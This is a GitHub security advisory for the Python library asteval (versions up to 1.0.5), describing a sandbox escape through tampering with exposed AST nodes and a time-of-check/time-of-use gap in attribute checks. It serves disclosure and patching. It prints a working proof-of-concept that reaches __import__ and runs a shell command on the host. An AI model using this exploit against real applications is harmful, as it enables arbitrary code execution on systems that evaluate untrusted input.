GHSA-VP47-9734-PRJW

Vulnerability from github – Published: 2025-01-23 22:33 – Updated: 2025-01-23 22:33
VLAI
Summary
ASTEVAL Allows Malicious Tampering of Exposed AST Nodes Leads to Sandbox Escape
Details

Summary

If an attacker can control the input to the asteval library, they can bypass its safety restrictions and execute arbitrary Python code within the application's context.

Details

The vulnerability is rooted in how asteval performs attribute access verification. In particular, the on_attribute node handler prevents access to attributes that are either present in the UNSAFE_ATTRS list or are formed by names starting and ending with __, as shown in the code snippet below:

    def on_attribute(self, node):    # ('value', 'attr', 'ctx')
        """Extract attribute."""

        ctx = node.ctx.__class__
        if ctx == ast.Store:
            msg = "attribute for storage: shouldn't be here!"
            self.raise_exception(node, exc=RuntimeError, msg=msg)

        sym = self.run(node.value)
        if ctx == ast.Del:
            return delattr(sym, node.attr)
        #
        unsafe = (node.attr in UNSAFE_ATTRS or
                 (node.attr.startswith('__') and node.attr.endswith('__')))
        if not unsafe:
            for dtype, attrlist in UNSAFE_ATTRS_DTYPES.items():
                unsafe = isinstance(sym, dtype) and node.attr in attrlist
                if unsafe:
                    break
        if unsafe:
            msg = f"no safe attribute '{node.attr}' for {repr(sym)}"
            self.raise_exception(node, exc=AttributeError, msg=msg)
        else:
            try:
                return getattr(sym, node.attr)
            except AttributeError:
                pass

While this check is intended to block access to sensitive Python dunder methods (such as __getattribute__), the flaw arises because instances of the Procedure class expose their AST (stored in the body attribute) without proper protection:

class Procedure:
    """Procedure: user-defined function for asteval.

    This stores the parsed ast nodes as from the 'functiondef' ast node
    for later evaluation.

    """

    def __init__(self, name, interp, doc=None, lineno=0,
                 body=None, args=None, kwargs=None,
                 vararg=None, varkws=None):
        """TODO: docstring in public method."""
        self.__ininit__ = True
        self.name = name
        self.__name__ = self.name
        self.__asteval__ = interp
        self.raise_exc = self.__asteval__.raise_exception
        self.__doc__ = doc
        self.body = body
        self.argnames = args
        self.kwargs = kwargs
        self.vararg = vararg
        self.varkws = varkws
        self.lineno = lineno
        self.__ininit__ = False

Since the body attribute is not protected by a naming convention that would restrict its modification, an attacker can modify the AST of a Procedure during runtime to leverage unintended behaviour.

The exploit works as follows:

  1. The Time of Check, Time of Use (TOCTOU) Gadget:

In the code below, a variable named unsafe is set based on whether node.attr is considered unsafe:

python unsafe = (node.attr in UNSAFE_ATTRS or (node.attr.startswith('__') and node.attr.endswith('__')))

  1. Exploiting the TOCTOU Gadget:

An attacker can abuse this gadget by hooking any Attribute AST node that is not in the UNSAFE_ATTRS list. The attacker modifies the node.attr.startswith function so that it points to a custom procedure. This custom procedure performs the following steps:

  • It replaces the value of node.attr with the string "__getattribute__" and returns False.
  • Thus, when node.attr.startswith('__') is evaluated, it returns False, which causes the condition to short-circuit and sets unsafe to False.
  • However, by that time, node.attr has been changed to "__getattribute__", which will be used in the subsequent getattr(sym, node.attr) call. An attacker can then use the obtained reference to sym.__getattr__to retrieve malicious attributes without needing to pass the on_attribute checks.

PoC

The following proof-of-concept (PoC) demonstrates how this vulnerability can be exploited to execute the whoami command on the host machine:

from asteval import Interpreter
aeval = Interpreter()
code = """
ga_str = "__getattribute__"
def lender():
    a
    b
def pwn():
    ga = lender.dontcare
    init = ga("__init__")
    ga = init.dontcare
    globals = ga("__globals__")
    builtins = globals["__builtins__"]
    importer = builtins["__import__"]
    importer("os").system("whoami")

def startswith1(str):
    # Replace the attr on the targeted AST node with "__getattribute__"
    pwn.body[0].value.attr = ga_str
    return False    

def startswith2(str):
    pwn.body[2].value.attr = ga_str
    return False    

n1 = lender.body[0]
n1.startswith = startswith1
pwn.body[0].value.attr = n1

n2 = lender.body[1]
n2.startswith = startswith2
pwn.body[2].value.attr = n2

pwn()
"""
aeval(code)
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.0.5"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "asteval"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-367",
      "CWE-749"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-01-23T22:33:48Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nIf an attacker can control the input to the asteval library, they can bypass its safety restrictions and execute arbitrary Python code within the application\u0027s context.\n\n### Details\nThe vulnerability is rooted in how `asteval` performs attribute access verification. In particular, the [`on_attribute`](https://github.com/lmfit/asteval/blob/8d7326df8015cf6a57506b1c2c167a1c3763e090/asteval/asteval.py#L565) node handler prevents access to attributes that are either present in the `UNSAFE_ATTRS` list or are formed by names starting and ending with `__`, as shown in the code snippet below:\n\n```py\n    def on_attribute(self, node):    # (\u0027value\u0027, \u0027attr\u0027, \u0027ctx\u0027)\n        \"\"\"Extract attribute.\"\"\"\n\n        ctx = node.ctx.__class__\n        if ctx == ast.Store:\n            msg = \"attribute for storage: shouldn\u0027t be here!\"\n            self.raise_exception(node, exc=RuntimeError, msg=msg)\n\n        sym = self.run(node.value)\n        if ctx == ast.Del:\n            return delattr(sym, node.attr)\n        #\n        unsafe = (node.attr in UNSAFE_ATTRS or\n                 (node.attr.startswith(\u0027__\u0027) and node.attr.endswith(\u0027__\u0027)))\n        if not unsafe:\n            for dtype, attrlist in UNSAFE_ATTRS_DTYPES.items():\n                unsafe = isinstance(sym, dtype) and node.attr in attrlist\n                if unsafe:\n                    break\n        if unsafe:\n            msg = f\"no safe attribute \u0027{node.attr}\u0027 for {repr(sym)}\"\n            self.raise_exception(node, exc=AttributeError, msg=msg)\n        else:\n            try:\n                return getattr(sym, node.attr)\n            except AttributeError:\n                pass\n```\n\nWhile this check is intended to block access to sensitive Python dunder methods (such as `__getattribute__`), the flaw arises because instances of the `Procedure` class expose their AST (stored in the `body` attribute) without proper protection:\n\n```py\nclass Procedure:\n    \"\"\"Procedure: user-defined function for asteval.\n\n    This stores the parsed ast nodes as from the \u0027functiondef\u0027 ast node\n    for later evaluation.\n\n    \"\"\"\n\n    def __init__(self, name, interp, doc=None, lineno=0,\n                 body=None, args=None, kwargs=None,\n                 vararg=None, varkws=None):\n        \"\"\"TODO: docstring in public method.\"\"\"\n        self.__ininit__ = True\n        self.name = name\n        self.__name__ = self.name\n        self.__asteval__ = interp\n        self.raise_exc = self.__asteval__.raise_exception\n        self.__doc__ = doc\n        self.body = body\n        self.argnames = args\n        self.kwargs = kwargs\n        self.vararg = vararg\n        self.varkws = varkws\n        self.lineno = lineno\n        self.__ininit__ = False\n```\n\nSince the `body` attribute is not protected by a naming convention that would restrict its modification, an attacker can modify the AST of a `Procedure` during runtime to leverage unintended behaviour.\n\nThe exploit works as follows:\n\n1. **The Time of Check, Time of Use (TOCTOU) Gadget:**\n\n   In the [code](https://github.com/lmfit/asteval/blob/8d7326df8015cf6a57506b1c2c167a1c3763e090/asteval/asteval.py#L577) below, a variable named `unsafe` is set based on whether `node.attr` is considered unsafe:\n\n   ```python\n   unsafe = (node.attr in UNSAFE_ATTRS or\n             (node.attr.startswith(\u0027__\u0027) and node.attr.endswith(\u0027__\u0027)))\n   ```\n\n2. **Exploiting the TOCTOU Gadget:**\n\n   An attacker can abuse this gadget by hooking any `Attribute` AST node that is not in the `UNSAFE_ATTRS` list. The attacker modifies the `node.attr.startswith` function so that it points to a custom procedure. This custom procedure performs the following steps:\n   \n   - It replaces the value of `node.attr` with the string `\"__getattribute__\"` and returns `False`.\n   - Thus, when `node.attr.startswith(\u0027__\u0027)` is evaluated, it returns `False`, which causes the condition to short-circuit and sets `unsafe` to `False`.\n   - However, by that time, `node.attr` has been changed to `\"__getattribute__\"`, which will be used in the subsequent `getattr(sym, node.attr)` call. An attacker can then use the obtained reference to `sym.__getattr__`to retrieve malicious attributes without needing to pass the `on_attribute` checks.\n\n### PoC\nThe following proof-of-concept (PoC) demonstrates how this vulnerability can be exploited to execute the `whoami` command on the host machine:\n\n```py\nfrom asteval import Interpreter\naeval = Interpreter()\ncode = \"\"\"\nga_str = \"__getattribute__\"\ndef lender():\n    a\n    b\ndef pwn():\n    ga = lender.dontcare\n    init = ga(\"__init__\")\n    ga = init.dontcare\n    globals = ga(\"__globals__\")\n    builtins = globals[\"__builtins__\"]\n    importer = builtins[\"__import__\"]\n    importer(\"os\").system(\"whoami\")\n\ndef startswith1(str):\n    # Replace the attr on the targeted AST node with \"__getattribute__\"\n    pwn.body[0].value.attr = ga_str\n    return False    \n\ndef startswith2(str):\n    pwn.body[2].value.attr = ga_str\n    return False    \n\nn1 = lender.body[0]\nn1.startswith = startswith1\npwn.body[0].value.attr = n1\n\nn2 = lender.body[1]\nn2.startswith = startswith2\npwn.body[2].value.attr = n2\n\npwn()\n\"\"\"\naeval(code)\n```",
  "id": "GHSA-vp47-9734-prjw",
  "modified": "2025-01-23T22:33:48Z",
  "published": "2025-01-23T22:33:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lmfit/asteval/security/advisories/GHSA-vp47-9734-prjw"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lmfit/asteval/commit/45bb47533f7abb5479618ae7f6a809215700dcb2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lmfit/asteval"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ASTEVAL Allows Malicious Tampering of Exposed AST Nodes Leads to Sandbox Escape"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…